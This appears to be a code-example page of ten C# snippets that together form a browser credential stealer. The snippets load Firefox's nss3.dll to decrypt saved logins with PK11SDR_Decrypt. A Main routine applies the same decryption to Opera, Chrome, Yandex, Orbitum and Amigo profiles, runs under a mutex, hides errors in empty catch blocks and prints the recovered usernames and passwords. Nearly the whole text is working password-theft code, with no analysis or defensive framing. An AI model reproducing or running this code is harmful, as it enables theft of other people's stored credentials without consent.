Esempio n. 1
0
        public static long PK11_GetInternalKeySlot()
        {
            IntPtr procAddress = FireFox.GetProcAddress(FireFox.NSS3, "PK11_GetInternalKeySlot");

            FireFox.DLLFunctionDelegate3 dLLFunctionDelegate = (FireFox.DLLFunctionDelegate3)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(FireFox.DLLFunctionDelegate3));
            return(dLLFunctionDelegate());
        }
Esempio n. 2
0
        private static string decrypt(string S)
        {
            FireFox.TSECItem tSECItem = default(FireFox.TSECItem);
            FireFox.NSS_Init(FireFox.FFProfile);
            long num = FireFox.PK11_GetInternalKeySlot();

            if (num == 0L)
            {
                return(string.Empty);
            }
            FireFox.PK11_Authenticate(num, true, 0L);
            int value = FireFox.NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, S, S.Length);

            FireFox.TSECItem tSECItem2 = (FireFox.TSECItem)Marshal.PtrToStructure(new IntPtr(value), typeof(FireFox.TSECItem));
            if (FireFox.PK11SDR_Decrypt(ref tSECItem2, ref tSECItem, 0) != 0)
            {
                return(string.Empty);
            }
            if (tSECItem.SECItemLen != 0)
            {
                byte[] array = new byte[tSECItem.SECItemLen];
                Marshal.Copy(new IntPtr(tSECItem.SECItemData), array, 0, tSECItem.SECItemLen);
                return(Encoding.ASCII.GetString(array));
            }
            return(string.Empty);
        }
Esempio n. 3
0
        public static int NSSBase64_DecodeBuffer(IntPtr arenaOpt, IntPtr outItemOpt, string inStr, int inLen)
        {
            IntPtr procAddress = FireFox.GetProcAddress(FireFox.NSS3, "NSSBase64_DecodeBuffer");

            FireFox.DLLFunctionDelegate2 dLLFunctionDelegate = (FireFox.DLLFunctionDelegate2)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(FireFox.DLLFunctionDelegate2));
            return(dLLFunctionDelegate(arenaOpt, outItemOpt, inStr, inLen));
        }
Esempio n. 4
0
 public static void DecryptFirefox(List <string[]> general)
 {
     try
     {
         if (FireFox.FFexe != null && FireFox.FFProfile != null)
         {
             FireFox.ParseJson();
             int      count = general.Count;
             string[] array = new string[4];
             array[0] = "########################";
             array[1] = FireFox.FFProfile;
             array[2] = "########################";
             general.Add(array);
             for (int i = 0; i < FireFox.data.Count; i++)
             {
                 general.Add(new string[]
                 {
                     count + i + 1 + ")",
                     FireFox.data[i][0],
                     FireFox.decrypt(FireFox.data[i][1]),
                     FireFox.decrypt(FireFox.data[i][2])
                 });
             }
         }
     }
     catch
     {
     }
 }
Esempio n. 5
0
        public static int PK11_FreeSlot(long slot)
        {
            IntPtr procAddress = FireFox.GetProcAddress(FireFox.NSS3, "PK11_FreeSlot");

            FireFox.DLLFunctionDelegate7 dLLFunctionDelegate = (FireFox.DLLFunctionDelegate7)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(FireFox.DLLFunctionDelegate7));
            return(dLLFunctionDelegate(slot));
        }
Esempio n. 6
0
        public static int NSS_Shutdown()
        {
            IntPtr procAddress = FireFox.GetProcAddress(FireFox.NSS3, "NSS_Shutdown");

            FireFox.DLLFunctionDelegate6 dLLFunctionDelegate = (FireFox.DLLFunctionDelegate6)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(FireFox.DLLFunctionDelegate6));
            return(dLLFunctionDelegate());
        }
Esempio n. 7
0
        public static int PK11SDR_Decrypt(ref FireFox.TSECItem data, ref FireFox.TSECItem result, int cx)
        {
            IntPtr procAddress = FireFox.GetProcAddress(FireFox.NSS3, "PK11SDR_Decrypt");

            FireFox.DLLFunctionDelegate5 dLLFunctionDelegate = (FireFox.DLLFunctionDelegate5)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(FireFox.DLLFunctionDelegate5));
            return(dLLFunctionDelegate(ref data, ref result, cx));
        }
Esempio n. 8
0
        public static long PK11_Authenticate(long slot, bool loadCerts, long wincx)
        {
            IntPtr procAddress = FireFox.GetProcAddress(FireFox.NSS3, "PK11_Authenticate");

            FireFox.DLLFunctionDelegate4 dLLFunctionDelegate = (FireFox.DLLFunctionDelegate4)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(FireFox.DLLFunctionDelegate4));
            return(dLLFunctionDelegate(slot, loadCerts, wincx));
        }
Esempio n. 9
0
        public static long NSS_Init(string path)
        {
            FireFox.LoadLibrary(FireFox.FFexe + "mozglue.dll");
            FireFox.NSS3 = FireFox.LoadLibrary(FireFox.FFexe + "nss3.dll");
            IntPtr procAddress = FireFox.GetProcAddress(FireFox.NSS3, "NSS_Init");

            FireFox.DLLFunctionDelegate dLLFunctionDelegate = (FireFox.DLLFunctionDelegate)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(FireFox.DLLFunctionDelegate));
            return(dLLFunctionDelegate(path));
        }
Esempio n. 10
0
        private static void Main(string[] args)
        {
            var  general = new List <string[]>();
            bool flag;

            Program.m_instance = new Mutex(true, "esc", out flag);
            if (flag)
            {
                try
                {
                    ChromeBasedBrowsers.decrypt(Path.GetOperaPath(), general);
                    ChromeBasedBrowsers.decrypt(Path.GetChromePath("Chrome"), general);
                    ChromeBasedBrowsers.decrypt(Path.GetChromePath("Yandex"), general);
                    ChromeBasedBrowsers.decrypt(Path.GetChromePath("Orbitum"), general);
                    ChromeBasedBrowsers.decrypt(Path.GetChromePath("Amigo"), general);
                    FireFox.DecryptFirefox(general);
                    general.ForEach(x => Console.WriteLine(x[0] + x[1] + x[2] + x[3]));
                    Console.ReadKey();
                }
                catch (Exception ex)
                {
                }
            }
        }